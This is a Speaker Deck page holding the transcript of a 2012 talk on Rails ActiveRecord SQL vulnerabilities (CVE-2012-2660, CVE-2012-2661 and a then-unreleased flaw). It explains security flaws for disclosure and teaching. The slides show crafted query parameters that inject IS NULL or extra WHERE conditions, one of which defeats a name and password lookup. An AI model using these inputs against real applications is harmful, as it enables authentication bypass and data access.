Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
87
0
Share
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
170
The Evolution of Rails Security
presidentbeef
1
880
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
170
Practical Static Analysis for Continuous Application Security
presidentbeef
0
240
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
490
Continuous Security with Practical Static Analysis
presidentbeef
1
360
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
280
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
280
Other Decks in Programming
See All in Programming
気づいたらRubyで100作品 ー クリエイティブコーディングが生活の一部になるまで / 100 Ruby Sketches Later: How Creative Coding Became Part of My Life
chobishiba
3
450
分析エージェント精度向上における データアナリストの役割
oura_shoya
0
130
Skillは並べた。動かなかった。契約で繋いだ。— 65個のSkillから、自走する開発サイクルへ
junholee
0
770
AI時代だからこそ「Bloc」を採用する価値があるのかもしれない
takuroabe
0
250
AIエージェントと協働するCLI開発 — BunとOpenClawで学んだこと
yoshikouki
1
220
柔軟なPDFレイアウトエディタを支える型システム設計 — Discriminated UnionとConditional Typeの実践
minako__ph
4
1.1k
次世代リンターで探る、tsgo 時代における型認識カスタムルールの現実解
ytakahashii
3
1.2k
自動レビューエンジンの実装と運用 ~レビューのない世界へ~
kurukuru1999
2
280
新規プロダクトを高速で生み出すハーネスエンジニアリング
seanchas116
14
6.5k
CLIであることを活かしたGitHub Copilot CLI活用術 / GitHub Copilot CLI Pro Tips & Tricks
nao_mk2
1
1.1k
Spec-Driven Development with AI-Agents: From High-Level Requirements to Working Software
antonarhipov
2
380
Make SRE Operations Easier with Azure SRE Agent
kkamegawa
0
1.3k
Featured
See All Featured
The innovator’s Mindset - Leading Through an Era of Exponential Change - McGill University 2025
jdejongh
PRO
1
180
Faster Mobile Websites
deanohume
310
31k
How to Get Subject Matter Experts Bought In and Actively Contributing to SEO & PR Initiatives.
livdayseo
0
130
Digital Projects Gone Horribly Wrong (And the UX Pros Who Still Save the Day) - Dean Schuster
uxyall
0
1.5k
Agile that works and the tools we love
rasmusluckow
331
21k
The Hidden Cost of Media on the Web [PixelPalooza 2025]
tammyeverts
2
310
How GitHub (no longer) Works
holman
316
150k
Building a A Zero-Code AI SEO Workflow
portentint
PRO
0
540
How To Speak Unicorn (iThemes Webinar)
marktimemedia
1
470
How to Build an AI Search Optimization Roadmap - Criteria and Steps to Take #SEOIRL
aleyda
1
2.1k
Max Prin - Stacking Signals: How International SEO Comes Together (And Falls Apart)
techseoconnect
PRO
0
170
ReactJS: Keep Simple. Everything can be a component!
pedronauck
666
130k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1